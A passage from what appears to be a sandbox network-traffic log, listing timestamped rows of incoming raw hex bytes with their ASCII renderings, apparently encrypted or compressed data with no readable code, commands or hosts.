2023-05-10 00:21:17 UTC	2656	IN	Data Raw: 53 3b 81 21 ff ea d3 12 c2 51 ee a0 ea df 9c a7 64 05 ba 28 82 97 40 b3 2e 54 7c c1 4f f6 6b 75 76 0b 62 ed 21 82 0c c2 d6 5c 59 e9 a3 20 3d 76 16 3e 8f 4e c3 d4 42 4b 22 36 c6 3d ba 39 40 2d b9 c6 3d 1a bf 3b dc fe 43 49 e5 e3 9d ee f1 21 17 9e 88 af d7 ca b3 79 3a 30 0b 4d c3 ee 94 cc b8 08 2c 70 24 91 0c fa 02 16 95 73 04 d8 61 63 19 61 d9 bb f8 52 e5 a4 01 25 da 7c bc 2c d6 bc a7 25 73 3f f0 e0 46 43 21 ce e3 56 70 82 37 f2 9a 3a b8 02 97 28 d9 4f ed af 0a 4a 4b dc 8c 95 58 40 c8 54 6c 57 7a 7f 12 e4 39 de e5 24 74 d2 d0 a3 d6 ad 54 e0 4e 0a 9f fd 75 0e c5 f6 c0 ed 3b a0 ad b7 a0 a5 fe 70 31 44 68 03 ca 8a f8 e7 c7 33 9d 0b 8d 0a 43 35 7c 52 75 4a 6d 92 2e b3 fb 13 07 15 8a b4 a2 4a 51 af a6 56 0a 81 e0 65 7d e1 4c 65 02 8f 89 7c fd a4 a2 9a 81 1a 74 Data Ascii: S;!Qd(@.T\|Okuvb!\Y =v>NBK"6=9@-=;CI!y:0M,p$sacaR%\|,%s?FC!Vp7:(OJKX@TlWz9$tTNu;p1Dh3C5\|RuJm.JQVe}Le\|t
2023-05-10 00:21:17 UTC	2672	IN	Data Raw: d5 74 6c 92 c4 a9 a5 48 26 e7 6f 80 a0 b2 4a f0 e4 d1 e1 bd 56 b9 c5 5c 5d 30 40 bc a1 28 a0 66 ec af 23 71 c9 ac be 18 80 cd 68 e4 e3 a2 17 b2 b4 93 09 c6 40 c1 6f 27 80 5f fb 45 52 e3 7e 7c 6d 7f 23 fa 4a e4 83 6b f5 bb 8c 66 32 5a da 18 cf 13 b0 94 18 a9 2f 7d d4 f2 3b cb 15 b5 c5 52 61 1e 34 bd 84 dc bd 69 70 f5 9f d0 8b 59 14 93 d1 4f e8 bf d3 4f 12 56 78 4a 25 32 58 d5 79 d5 91 06 1a 6c 22 e7 94 20 e8 0a 94 92 c3 bd 0b 8b ad e7 46 d0 b2 a0 8a d3 b4 49 c2 b8 e1 b9 e1 11 d7 bf b2 1c b2 ab 18 8e 6a 69 85 16 0b 04 37 dc 48 0e 01 5e 07 76 d1 f5 62 fe 03 6e 48 fb 32 77 2c c7 55 ad 8d 6e ba 75 25 bd f2 e8 7e 7f d2 7d a1 d6 1e 8d 37 a8 89 b0 20 98 00 6c c5 50 72 84 f3 36 31 ac d8 58 cc 6a d6 0b d1 0b 1f bb ee 9d 63 31 49 a3 ad cb 91 ad 31 e1 ab cc b4 a8 36 Data Ascii: tlH&oJV\]0@(f#qh@o'_ER~\|m#Jkf2Z/};Ra4ipYOOVxJ%2Xyl" FIji7H^vbnH2w,Unu%~}7 lPr61Xjc1I16
2023-05-10 00:21:17 UTC	2688	IN	Data Raw: 4b c3 7d 1b af 4f db 57 28 71 19 99 d3 a6 29 80 6e ea a6 b9 4b 1a d9 a1 7d b8 f5 12 bf 07 01 fb 4a 8a 33 bf 57 e2 e0 08 04 e8 be 72 62 a7 9a c7 24 af c3 78 31 a1 46 04 5e 52 9a be 39 cc 6d cd 5e 06 b8 88 7c 8c ba 01 db 2c 9d 62 4f 75 8c f4 76 7d 95 1d 40 24 7d ed 69 8d 10 3f 77 cf 88 02 2c 8c 39 c7 be 75 f1 4e d4 5a c9 7a df b7 57 e2 bd de 03 1b d8 5f 2d 87 55 8f a4 a3 55 e5 28 f0 2f 36 38 1b 54 57 88 f9 80 d3 e0 b4 29 df 2d 3c e1 d7 8a 2c 1d 55 aa 85 08 f6 ae b0 8b 20 2a be 0d 12 05 d0 2d 93 ea fa 82 7d 42 aa 2a 10 6a cd 78 2e b2 71 4d bd 42 81 58 52 a6 dd 9b 2b 06 46 16 aa 45 75 c4 9d 2e 9b 06 f2 d3 5f 87 72 9f 6d 1c 35 bf f8 1d c7 49 b7 61 2e 90 fc 0c c8 01 a5 72 bc 71 cb 17 cb 97 ab b1 a9 dd da bb b4 6f 1b 8d 8c 85 26 0b 5e cf 7a c5 23 2b 77 14 91 94 Data Ascii: K}OW(q)nK}J3Wrb$x1F^R9m^\|,bOuv}@$}i?w,9uNZzW_-UU(/68TW)-<,U -}Bjx.qMBXR+FEu._rm5Ia.rqo&^z#+w
2023-05-10 00:21:17 UTC	2704	IN	Data Raw: 8c 37 11 f7 1d 84 2e 24 2a 37 23 bb 9f c5 49 34 37 75 a1 8c 10 f5 e6 7a ab 6a 33 4d 32 5d 97 1f c5 03 c3 5e 59 93 a5 a3 d4 ac 6b 4e 88 76 86 09 62 d4 8d 2c 28 5d 4d ae 0b 3c 85 ee 98 81 bb 96 0e 8b 87 e2 26 ab bc 98 8c 2e f5 aa b9 29 69 64 ec 9a cd 37 42 6c a3 8d eb b6 d5 9d 8b 89 a2 50 8b 63 93 8c 7a 3f b8 c5 5c 14 8d b9 85 a2 30 7b 4f 69 45 f1 b7 5d bb b2 42 c7 10 74 12 6c be b2 7d 88 9f 5f 6c b7 47 91 73 97 25 46 b1 c6 ea 84 bb 59 be de 4b a5 2a 6f 39 69 75 b9 a8 c7 cd 2d f3 ff ee de ce 62 ad e0 fa 33 87 2f 19 34 05 38 59 0c fd b7 15 f2 2f bd 19 90 28 e0 f3 3b 3d f3 ea 78 f5 80 2b f9 0a 1c a5 c9 a8 3e 48 eb 89 45 03 bc 09 d5 2a 78 e3 83 9a 74 1b 94 56 ed f5 fb c3 09 7e 76 91 2f 0a 13 77 c9 b5 4c 9e a1 22 e0 be 46 c0 6a 74 fb 39 4f c9 4d ba 8f c3 e9 93 Data Ascii: 7.$7#I47uzj3M2]^YkNvb,(]M<&.)id7BlPcz?\0{OiE]Btl}_lGs%FYKo9iu-b3/48Y/(;=x+>HE*xtV~v/wL"Fjt9OM
2023-05-10 00:21:17 UTC	2720	IN	Data Raw: eb 17 d1 5b 59 3b 7c b2 20 ef f7 97 d6 62 40 0f d5 c1 7a 3d 38 cb 93 5e cf e0 b9 42 10 90 78 f5 eb 1c 79 1a 5a 30 5a d2 f8 40 de 90 62 a6 58 66 16 ff cb 4f 58 4b 74 0d 3e eb 95 04 f2 28 1a cf 61 15 ba 21 f1 75 7f 8e f5 c4 9c 21 3e 46 17 2b e8 c9 17 e3 35 15 d4 c6 b6 d6 ce 4e f2 25 c9 60 f3 26 e9 ca 58 86 c7 02 c0 e0 b7 6a d6 fe 0b 43 d4 ac d1 78 03 d4 40 a0 45 2f de a7 29 57 ce eb e9 fb e8 f1 50 a1 a3 b1 e7 79 a5 37 48 49 05 69 b5 15 eb e2 20 bf d0 1b e9 ce 9b b1 ef 8e dc 28 c2 7a 72 8a d4 f3 b4 a1 df 4a 6b 43 a1 63 14 46 58 0a c4 51 c7 bf 0a 52 70 3c 8d f0 16 bf 5d 55 c2 04 ea 96 b3 90 77 16 8f d9 b2 ed e4 61 6b bb d1 32 31 ea b0 a1 e2 92 49 a9 34 17 19 d2 a1 ca 42 be ef 96 f7 fa b0 bd 57 42 94 6b 60 53 f8 1c 55 b2 02 25 72 a6 86 e0 86 e4 d5 74 cb 34 92 Data Ascii: [Y;\| b@z=8^BxyZ0Z@bXfOXKt>(a!u!>F+5N%`&XjCx@E/)WPy7HIi (zrJkCcFXQRp<]Uwak21I4BWBk`SU%rt4
2023-05-10 00:21:17 UTC	2736	IN	Data Raw: 08 42 b4 ae 54 ba 99 79 d8 b5 a5 36 65 43 2b ef 22 87 7a 24 2c e8 58 f2 f0 d5 a3 80 d9 f3 c4 ae ae cc 1e 0c 93 36 83 a5 b5 65 fa a0 82 c0 ff a3 72 c3 2a a1 3a bc b6 66 29 c6 f1 f8 92 78 d0 85 9b 14 76 7f b9 5f 16 cf 6c 91 bf d1 74 c0 32 c5 77 97 1b 8f 00 f6 7e 6c 61 f0 c9 aa a3 af ed ec 50 3c 68 9a 51 49 03 42 f9 7b fb 73 83 77 71 fe 41 ad 64 9c 55 ec e4 b9 62 f0 08 d8 ad b0 a5 37 59 31 c2 55 5a 91 c4 ce 1e e7 b8 e6 76 39 f1 40 91 82 48 c1 a5 f6 2f 1d 84 41 42 9b 34 5a 39 89 cc 4c 39 b5 b1 6c ba fa de a1 4b 63 90 f6 3e b2 dd b3 0d d7 a8 54 39 6c 9a 3e 12 51 37 f2 28 61 3e 4e 81 14 d0 78 05 e8 ee ec 37 34 0a 92 43 8f f1 e0 91 34 be c5 57 cf a6 da 09 6e 8f 3d 39 43 44 1a bb b3 67 b4 c0 47 09 d0 8c 6e de ac 29 83 a3 50 50 c4 46 8f 37 5b be c8 72 fa 32 81 0b Data Ascii: BTy6eC+"z$,X6er*:f)xv_lt2w~laP<hQIB{swqAdUb7Y1UZv9@H/AB4Z9L9lKc>T9l>Q7(a>Nx74C4Wn=9CDgGn)PPF7[r2
2023-05-10 00:21:17 UTC	2752	IN	Data Raw: f2 e5 91 64 1a 80 4d 96 86 70 f4 14 d5 f5 2c 08 04 47 b7 3a b6 c1 7c df 0d 33 9a 95 68 93 7b bd e5 fb cc 5e 30 7c ac 78 53 7b 80 3e bf c5 f9 6e 8e fe db 8e ae a6 31 7a 4b 24 fe 5b 1b 34 28 9c 2f e5 7e 18 a2 d0 1e 34 73 83 08 c3 8a 41 82 c2 a4 80 c7 4f b1 47 78 c4 d3 31 40 9d 6a 73 e4 c1 ad eb 65 73 6c fd 52 19 1f 3c 12 0b 0f cc 82 e5 fc 06 2b 11 22 59 8a c7 52 a9 37 82 54 49 4c 2a ec 39 d5 2d ab 95 18 4b a3 83 61 65 6c cd 17 cb 74 3d bc ff bf 80 77 37 a7 01 50 96 c6 9b 2d 1c 15 cd 1b 4c 2d e4 74 c9 03 b9 c6 ef 0c e9 dd f0 de e8 68 e5 20 44 1f 27 35 d5 c2 2d 70 d5 d6 d2 2c 1f bb 2d 68 cb f5 6a 19 62 1d 70 0f 7a 7d 70 16 30 8d e0 29 7d ba 65 cb 8e 90 52 a2 11 85 a5 74 7e 05 51 67 23 aa 58 4b 26 10 6d 6c e6 28 53 76 9d d2 35 92 84 45 91 04 89 e2 99 04 ef aa Data Ascii: dMp,G:\|3h{^0\|xS{>n1zK$[4(/~4sAOGx1@jseslR<+"YR7TIL*9-Kaelt=w7P-L-th D'5-p,-hjbpz}p0)}eRt~Qg#XK&ml(Sv5E
2023-05-10 00:21:17 UTC	2768	IN	Data Raw: ed fc 00 39 2a 98 24 a3 03 d2 46 e3 d9 e7 a9 83 07 c8 43 2e 36 b0 44 f4 93 d6 2c 77 61 49 13 04 49 5f 3f 0c be e7 20 a8 1f ed 41 50 e3 0e 1c b0 f3 e7 b0 bf db 0c ed 63 e3 3e 21 1e 60 36 bb cf 69 ba 7a d3 58 2a e7 38 c0 41 e7 3b 51 4b 26 6c 8b 7a 88 f8 c0 eb b2 84 ae 98 d9 db e2 4d a0 27 71 39 2b fd d3 cc a8 25 a5 9a 3b ae 43 8e 29 f9 0d ea 5c b1 40 de 3e 17 ed bf d2 f3 2e 77 2a 13 b6 95 35 fa 1c 91 e7 ff e0 14 fb e0 18 43 9b 2a 94 0b 31 b3 ee 56 14 91 b6 e3 83 33 7f 4f 2b 73 68 e2 4e 81 9a 0a 20 f3 87 f7 5d 0d a2 67 ee 02 08 c1 4a 59 3a ab b0 2a 22 20 4a 95 fb 7a 27 a2 f5 44 f1 c0 c1 b6 fe d0 bb de b9 d2 c7 55 40 06 b5 37 48 f8 de b3 d9 75 5a d2 1c 7b 97 63 e0 72 e5 a2 54 9f 85 09 dc 13 7d 70 67 4f 31 8d 7f 4f 0c 00 62 86 df 23 57 99 1e 58 3e 66 9c 19 e4 Data Ascii: 9$FC.6D,waII_? APc>!`6izX8A;QK&lzM'q9+%;C)\@>.w5C1V3O+shN ]gJY:*" Jz'DU@7HuZ{crT}pgO1Ob#WX>f
2023-05-10 00:21:17 UTC	2784	IN	Data Raw: 7c e8 67 c9 57 7b e1 5a 69 e6 a0 d9 bc dc cf 3e 2f 65 9b 99 a3 ca 91 43 9d f3 52 b2 6a d5 ec 34 97 8c 32 87 f5 ba 75 9a 95 5d e6 f5 cc 8d 08 56 e0 fd 4b ce 6d 2d 0d e6 78 f2 6c d0 38 d7 63 6b ba 09 d7 86 97 e4 89 4a 4c b0 77 43 3b bd e9 89 9b 59 10 ed fd 0d e8 70 5a 24 6c 3d d9 f6 b1 17 91 2d 40 c8 d0 9d 57 d5 3b ce 52 1e d4 e8 9c 04 da c4 c0 34 0e 7f 04 e6 d6 be 43 11 df 3e 1b db 07 e4 e9 b4 59 ce a9 a6 ea b7 28 4f 5c c9 0b 67 ca 16 4a 03 c5 d6 04 64 e3 7e f7 d2 3f 7b 44 87 06 19 d6 25 39 6d c4 9a de fd f7 63 ce cd b2 d8 16 2b f0 a9 7e 80 09 35 ab d3 b9 86 9b 73 06 e1 4b 2e 6f 74 fd df 8b 8e 79 ea e3 8a 2c 0b 5a f3 39 bc c1 31 37 9e c7 0e 27 b9 15 a0 a3 a6 59 5a 0e 1c b6 ad e1 a0 b8 9e 3f b1 a5 31 be be b8 cd cf 37 78 b4 4d 9c 99 88 ec 6b 1f d5 df 31 8d Data Ascii: \|gW{Zi>/eCRj42u]VKm-xl8ckJLwC;YpZ$l=-@W;R4C>Y(O\gJd~?{D%9mc+~5sK.oty,Z917'YZ?17xMk1
2023-05-10 00:21:17 UTC	2800	IN	Data Raw: 37 e1 03 9c 67 43 2b 66 64 3c 0c f1 e8 45 22 a5 1d 90 a5 c1 0d a4 bb ab a8 73 44 27 65 0e 93 99 e6 c7 77 31 c2 1d 24 91 e3 1e f1 82 6c f4 d2 85 5d 74 36 9f 8a 02 18 c5 db 9e 55 2e 2a d5 5c 09 1f a7 9c c7 48 a7 9c 78 e6 90 1c c9 1d 72 8f 0e 60 b6 27 cc 88 83 e1 94 b2 b8 bd 71 eb 38 81 35 39 25 57 bb 34 a4 e9 83 30 9e bf b3 ed 84 ed f9 14 86 a6 a3 68 9a f6 63 51 6c 9a cc 10 49 89 a5 92 2a 82 4e d1 6b 8d d0 f3 5a 7d 9f 4c 3c b7 5f 3a ff b9 b9 3f 7b 5d bd 2f ba 98 e1 7a 72 22 0a 31 95 a9 c5 5f 8d 26 d4 b0 ea 7f ba 8e bb 85 9b e5 de 9f 9c 38 12 54 1c b8 dc bc 8c f6 01 61 86 17 be 77 88 d9 fe cd 27 da 3c 6d 7e 6c 73 36 da fc c3 1d 7b 47 9b 5a 80 7e 0a 85 79 b4 9c da 85 24 d1 f1 d3 95 db ea c3 62 50 70 19 1a 2d 67 8d 17 20 61 23 93 e9 2e 51 6a 6b 80 56 0d b3 bc Data Ascii: 7gC+fd<E"sD'ew1$l]t6U.\Hxr`'q859%W40hcQlINkZ}L<_:?{]/zr"1_&8Taw'<m~ls6{GZ~y$bPp-g a#.QjkV
2023-05-10 00:21:17 UTC	2816	IN	Data Raw: 8d ed f6 6f 90 c8 74 fa 5d b9 68 bb 83 00 f2 df 5d c7 15 5b ba e0 3d f4 95 34 40 1d 9b fa 10 93 5e 39 46 0c df a8 51 2c 9a 6a dd 4d c2 96 ff 1f ee e6 c5 7d b0 c1 d4 5a c6 85 c3 78 84 6a 78 f6 12 1e 85 b7 8d ed ad bb ed 90 2b 04 3d e7 2f 68 21 36 00 ea f2 cb 7e cd a8 06 12 b0 b0 ef 53 c6 cd 67 20 da e4 c4 a5 32 e0 6d b5 10 99 41 e1 d1 1a b8 84 04 bf 35 32 a2 58 e2 43 6c c0 4a a4 1e ae e0 ef 89 4b 35 b8 96 7f 4e a6 d7 6d b2 2d aa 30 79 5b 9d 0e 80 3b 49 fd 56 06 87 43 3a 45 15 52 66 14 55 c9 aa 96 3f 4f fc ec b2 a4 1c 05 d9 71 a0 17 44 fd 8c ce 7b c6 cb 4b 67 f7 af f3 63 f6 f1 d8 3a a3 98 03 aa c6 30 f3 46 e8 c5 61 c1 e8 96 61 a0 21 d5 47 3e 3f d6 bc 1c 0a 8b 87 3c 65 ad 2d da 12 15 ae 5b 0c cc 77 48 b6 b9 e4 cb 91 b2 15 b0 59 f1 7d 97 d6 5e df a0 08 84 73 Data Ascii: ot]h][=4@^9FQ,jM}Zxjx+=/h!6~Sg 2mA52XClJK5Nm-0y[;IVC:ERfU?OqD{Kgc:0Faa!G>?<e-[wHY}^s
2023-05-10 00:21:17 UTC	2832	IN	Data Raw: 49 62 d8 9c d7 41 23 e5 08 de 40 c7 12 4e d2 6b be 39 a8 da 7c db d2 86 6f fa 15 fd de 87 a9 07 2f e9 e6 16 23 30 02 da d6 ba ac f7 99 68 47 6c 00 8e d4 67 8a 8f e4 04 f9 42 d3 d0 73 f8 11 66 31 89 5b d1 70 78 ce 7f 3c 7e 18 ac 79 aa 27 a8 48 18 47 8b ce f3 76 8a 30 26 7b ee 30 b2 71 ac d9 a8 ab a6 11 ca ae be d0 b2 1a 1c 33 a9 e7 d0 8c c6 c1 04 67 35 05 da 03 ff 55 b6 fe f5 94 6a c8 2b ba 39 94 8e 62 8d cf b2 08 16 7b 6a 5b 31 1b 60 90 60 65 ec 05 b5 af 19 9d 0c ea 09 4c a6 14 b1 2e 00 c2 56 1d 2d e4 e7 e6 d1 1a 12 f2 0c 00 f5 6d 4b e6 24 a0 62 78 09 9e a1 b2 3e 47 ca f9 df 55 a2 fb 35 41 ea 3f 0a a5 50 cf b5 ca 17 fa 4f ae 21 ca b5 04 16 f5 f0 c0 f1 ae 32 96 ac ac a1 0d 7a eb 0b 91 3e bb ac 20 d2 77 b0 fe 3e 9c 53 fa 99 14 18 73 a0 08 13 10 d8 15 17 4a Data Ascii: IbA#@Nk9\|o/#0hGlgBsf1[px<~y'HGv0&{0q3g5Uj+9b{j[1``eL.V-mK$bx>GU5A?PO!2z> w>SsJ
2023-05-10 00:21:17 UTC	2848	IN	Data Raw: 38 c6 02 b6 6e f8 8b 24 4c 1f c4 e8 33 31 1b 2d 75 fd ee 65 98 9d d7 24 00 46 87 9f 52 fe 73 7d 70 d9 28 c1 20 12 6f a1 c4 9e ad e3 8e 50 51 a1 24 be 30 5e 25 72 41 e8 71 f1 45 06 33 79 d9 af 6e d8 ea 40 83 fb 4a 15 9f 5a 1e 16 1f 11 bd 18 52 d8 fc d5 d3 3d 29 6b ad bd 92 21 c5 68 72 a5 9d 36 bb 1f be 22 e9 a4 c7 12 2f 6a f4 0e 80 92 5e 94 fe a0 c3 8a 61 52 89 61 4d ea 05 6b c3 77 cd f9 ba 1f 2e 11 8c 5c c5 47 9c 72 1b b9 46 54 07 2a f6 c2 5f 98 8b 2c 47 02 eb 6e 92 80 88 73 1a 26 2e c3 f5 cb 2f e1 5c 18 09 88 8a 41 f0 ab 6e be 94 8c d7 8b c2 1a 21 3b 22 0b 17 60 32 b1 05 57 5c 84 d3 fd cc 50 f4 51 47 cb 57 ab a4 7f 4a db b5 0e 48 31 1c 33 4d f9 94 c5 27 b5 ab 61 e9 5d c5 db 2a 8e 26 08 b5 b8 f9 eb 6f 62 77 cb 92 e6 84 13 a8 0c db a9 bc dc 95 e9 38 bc 94 Data Ascii: 8n$L31-ue$FRs}p( oPQ$0^%rAqE3yn@JZR=)k!hr6"/j^aRaMkw.\GrFT_,Gns&./\An!;"`2W\PQGWJH13M'a]&obw8
2023-05-10 00:21:17 UTC	2864	IN	Data Raw: cf 0e e1 1a ff 6f 56 25 2b 18 b3 e2 1d 4e 10 cd 66 fd d5 4f 64 f4 67 ff f3 e6 96 7b cf 87 ea d3 ae 5c 7f 88 59 13 56 df 48 e6 25 76 bd b0 34 fd d9 5f 60 64 7e 82 2b 2c 5a ff 5e 8c 24 8d fc 29 93 72 ee 0c 08 ce e1 d5 4a 40 13 d0 76 b5 2f 8a e4 18 8c 4c c1 bb b1 e7 5e bc fc 66 3b 53 68 49 06 ef 1e 52 00 c8 23 65 f8 c8 33 01 60 ba 06 bf fe a1 25 9c f4 83 a5 d1 00 14 77 c5 04 c5 a9 5e e8 b2 e4 04 f0 c6 ea 74 68 b0 9b 1f 00 a0 db 75 55 63 7f 9a 61 d2 46 05 41 57 2b 50 d1 5f 33 59 33 31 d4 19 14 b6 eb d2 91 06 fa 75 d1 f7 9e f8 91 e6 af 9f f8 ce 2f 00 67 f9 87 59 6b 04 df f3 71 a6 b5 8e 39 f5 ee d9 98 ff a1 e8 72 8e 1b 64 56 ac 6c e6 18 58 91 77 a5 e7 23 d1 eb 0b 67 8a cb f0 55 bf 79 8e 37 5a 6b 83 56 d2 e0 8d f6 d2 31 a0 61 3c d6 76 5f cb 2a 4a d2 81 22 ea c0 Data Ascii: oV%+NfOdg{\YVH%v4_`d~+,Z^$)rJ@v/L^f;ShIR#e3`%w^thuUcaFAW+P_3Y31u/gYkq9rdVlXw#gUy7ZkV1a<v_*J"
2023-05-10 00:21:17 UTC	2880	IN	Data Raw: d4 c2 a0 ed 89 b5 a2 9f 4e 7c e9 f5 8b 54 1a e2 c0 d6 e5 d7 09 ba 91 c3 1d 1d c3 0c c8 67 80 c3 a5 93 1f 08 93 93 c9 4f f1 ce 39 b4 0b 78 43 8d aa 2a 9f 54 f3 78 c9 ae 1c 1a 0a ac 0b db 24 0f 29 b7 ef 31 ab dd 83 1b 20 9d a0 52 53 48 97 19 35 92 f6 7a 5b 00 b3 41 f7 b8 e4 44 08 95 7a 03 6d f0 aa 50 0b 00 67 22 be b6 5e 81 e1 57 be c2 ef e9 02 55 48 87 28 8e 1f af aa 46 88 8e ab 1c 40 8a 69 88 2e 0f d9 d5 c4 5f 82 40 17 b4 cc aa 7d cf 59 e6 d7 87 13 a0 31 fc 11 f0 9f 79 24 08 67 b9 7e 10 d4 5f d8 63 d7 5a 3b 26 4c 3d 07 46 89 ab 82 ff 0b 56 3c 49 23 45 0b 90 3f 94 42 7a 9f 43 16 39 c3 62 26 4c 2c 23 7d 6e 09 6d 8e f0 b3 0a fa 66 f6 f6 4c fd 34 5f bd 41 ef 93 0e ab 41 e5 20 e5 a8 7e e8 62 7d 84 a4 11 7f 3b 8c ad fd 4b d3 21 8a b5 88 14 7d b8 3a 18 de da 72 Data Ascii: N\|TgO9xC*Tx$)1 RSH5z[ADzmPg"^WUH(F@i._@}Y1y$g~_cZ;&L=FV<I#E?BzC9b&L,#}nmfL4_AA ~b};K!}:r
2023-05-10 00:21:17 UTC	2896	IN	Data Raw: 80 76 ef 16 b9 39 b0 9e 21 ba 0d 58 b1 2d fd 3c 0b 7e 49 0d e6 6f 58 2f 1f aa 29 6a c9 72 49 c6 4f 63 47 53 e6 ea ef 77 95 da 32 5c 4f df 3d 2d e2 43 50 73 a2 9e 1f 7b e4 b1 c4 0e 93 0f 0d 1e 73 eb 7b 6f 9c 84 42 d2 2f 06 04 93 9b 4a 9d 47 44 2b 46 2f d4 cd 92 e4 d5 32 6a d4 59 a9 3c e4 38 a7 79 39 92 d4 09 36 cf 53 93 06 d8 d7 8c 2f 15 fb d8 67 47 df 75 92 7a cf 18 fc b2 82 7f 39 eb 41 eb eb b5 f4 f1 1a f1 60 c7 14 70 c2 b6 06 a6 39 4d f7 cd de e9 0d ca 99 f0 e0 08 7b 48 32 99 67 85 54 8e 0a fb 85 37 da 80 33 d3 fa c4 bc ed d4 ec f2 b0 29 68 b4 ec c9 e2 cd 59 3a fa 6b e6 09 69 df a9 4e 72 95 ae 04 4e 5a c7 a6 ce 06 b0 2c 29 02 ae 0e 74 62 3e 7a d1 72 59 9e de 6a 3f 32 5c 33 3c 71 b3 da 60 c1 c5 b1 a8 1d 9c fd 26 d0 2f ec 5d c1 0b c9 33 93 d8 08 a7 0d 7a Data Ascii: v9!X-<~IoX/)jrIOcGSw2\O=-CPs{s{oB/JGD+F/2jY<8y96S/gGuz9A`p9M{H2gT73)hY:kiNrNZ,)tb>zrYj?2\3<q`&/]3z
2023-05-10 00:21:17 UTC	2912	IN	Data Raw: 39 f8 33 4b e7 87 fe d0 a1 6f 40 86 7f d7 c9 4c 6d 64 ec 96 28 9a 59 bd 9b 9f c6 9d 75 7d b6 15 88 33 04 2a 10 e3 09 99 56 f3 97 f4 88 cb 4b 67 ed 5a 5d 29 de 95 a6 f7 53 a4 bb 7f 75 30 a5 b3 af 62 1d 8a 85 6d 72 18 01 87 92 7b aa d6 d9 92 87 9b 6c 6d 11 cd bd c6 95 d0 ac 9b 6c 77 e7 56 24 2f fc 37 6c f3 a6 8c 0d 48 fa 20 a8 72 c8 cc 73 dc f0 5d ee 16 d5 d2 55 19 7c 01 c0 51 8f 46 28 89 5d f4 07 b6 02 4d 62 2f f4 38 65 62 fe 4c 8e 62 a0 5e b6 3b a9 07 6e 88 d9 b7 67 ff c1 32 72 fc 7f 30 f1 85 e0 5a c5 7e 50 2b 77 1d b1 de 61 2a f4 9c fc b8 f5 b4 68 b4 bf e2 5a 93 9d 1c 79 1a e3 a4 31 49 ce c6 c1 ae 04 1e c3 0e c9 34 86 82 0e 68 09 77 5c 2b 75 74 ce 64 84 0c 0f 9b 82 d3 62 bd 20 d0 69 24 b6 75 2b c9 07 d4 e0 75 f6 41 24 c0 0a 9b d1 3f e8 ce 1a 5f 25 06 6e Data Ascii: 93Ko@Lmd(Yu}3VKgZ])Su0bmr{lmlwV$/7lH rs]U\|QF(]Mb/8ebLb^;ng2r0Z~P+wahZy1I4hw\+utdb i$u+uA$?_%n
2023-05-10 00:21:17 UTC	2928	IN	Data Raw: a6 3c f7 5b d7 c7 de 3b 0c 78 4f 3e d6 05 82 aa 92 23 40 07 25 3b 68 ad a0 db 43 90 12 a0 a1 56 c5 7f 54 66 be a4 9f a2 07 c2 a1 ec 7d f0 0f 41 8b 65 a7 7d 58 ad c0 ca 69 0e 3f 74 50 2f 24 c6 b5 3f bf 5f 1b be f9 ac 9e 09 70 12 f6 a1 c2 84 fd fd 3b 32 84 ad 83 85 91 b5 21 9c 24 9b bc 87 db 46 2a f4 bd 9b aa df 53 ec 99 b2 d6 39 a6 5e 23 67 c0 95 0d da b3 cc 26 06 b8 6d e1 0c f3 fe 74 a5 ff 61 05 a0 83 d6 ca 60 29 f0 9d 14 b2 56 df 01 bd 36 c3 2e e2 47 dc 4a 39 76 a6 4d e1 ea 60 14 8e 25 f9 0e 6a 26 de 11 76 5a 04 cc cb 1d 54 b9 29 38 ad 0c 3a 73 61 ee 94 75 9e 71 fb 97 36 39 05 7c ea 0f ca 40 f9 71 10 92 32 30 cc 95 cb 50 86 ed 80 88 6b 28 af 5e 46 73 7d 15 56 4d 1e 16 27 0a 73 e6 30 c2 b2 b1 8f 8e 0f 68 7c 33 92 69 33 4e 9c 3f 6c a8 75 80 6f 14 51 c6 7c Data Ascii: <[;xO>#@%;hCVTf}Ae}Xi?tP/$?_p;2!$F*S9^#g&mta`)V6.GJ9vM`%j&vZT)8:sauq69\|@q20Pk(^Fs}VM's0h\|3i3N?luoQ\|
2023-05-10 00:21:17 UTC	2944	IN	Data Raw: 79 8d 9c cf d6 3d d2 90 dd cf 9f 83 50 8d 35 8d 08 89 06 4d f1 00 59 de 57 d2 d7 d3 a1 9e a3 c2 cf 19 19 cc 80 8d 0c 9c a1 49 9f 8b 63 bf 4a 87 4d 47 7f 40 d4 c5 bc 83 43 80 3a d8 38 28 dd 58 32 9f 29 49 00 f1 b5 9f 2e 46 cc f5 7f e0 31 91 39 40 83 40 c4 84 28 3b b5 c1 5a 49 49 11 c5 fe c7 c7 86 b2 43 76 1b 0d 32 ce 4a b0 1e 9a 0b 4e 2b ed 47 5e e0 e9 ae 09 76 d6 29 fd 7f 5f 37 83 fe 45 33 90 29 91 5a 1b ca 23 1e 92 71 6c f9 76 cd 41 08 ae ad 62 b2 fc a3 1e 22 88 9f 6f ba 67 5f 77 8a 59 a9 74 5d c7 83 6c cf b8 c7 eb f3 fb c2 2a b0 d7 ba e4 4b a0 99 e8 58 c9 5e c3 57 9b 95 ac ad 56 4d 6b 49 f7 ca ce c2 1c 27 a2 86 e3 bd e1 4e 54 94 bf 06 73 e5 e3 60 3b f1 4f 8f 8a 29 3b 35 a0 c2 3e fe 30 f5 67 19 05 62 80 97 94 07 ba 5c 2b a4 22 01 03 ba 97 50 fe 8d be fe Data Ascii: y=P5MYWIcJMG@C:8(X2)I.F19@@(;ZIICv2JN+G^v)_7E3)Z#qlvAb"og_wYt]l*KX^WVMkI'NTs`;O);5>0gb\+"P
2023-05-10 00:21:17 UTC	2960	IN	Data Raw: 84 39 85 a2 58 6c d6 d0 5c c8 95 12 97 b7 2a 9d cf 34 6e 23 9c 5e 6c 92 a0 a5 ec b6 c1 9e 9e 14 6f 56 62 83 be 5e 93 d7 f2 f7 16 42 81 df 15 ea 7c 87 fa 68 b1 0b 89 a4 07 d7 d1 a1 3b 81 0c ff d6 f8 3c 31 00 5c 42 e7 0e cd ff 40 11 76 8c 90 75 a2 60 d7 2e 4a fc a6 61 b7 6e 1f 2e ec bd ae dc 50 0f 4b b2 9e 1a 78 87 ce d3 22 c7 15 a1 56 55 b2 c4 04 a7 5e b7 2c 10 34 9a 94 10 d8 98 32 66 e8 cd 55 33 28 3c c0 0b 38 60 3e 0d b2 1f a5 a7 9e 05 4e 30 52 78 fe 3f 24 27 9d a5 42 ad ab db 86 7c fd 2f 0d 43 8b c0 25 a6 86 0a ce 26 01 95 c2 04 86 9d bf 75 64 c6 cc e1 29 1e 9e fd a6 d2 e2 c5 f1 38 7c 96 45 df e7 a0 bb 9f 51 5a 2e 40 8d 6a 1c f8 bb cb 8e 7b 99 9d 7a 1b ea af ac c1 ca 5e 43 78 ad bc 5b 0b 78 58 11 05 9e a1 ad 6c 82 b5 ff af f1 15 8e 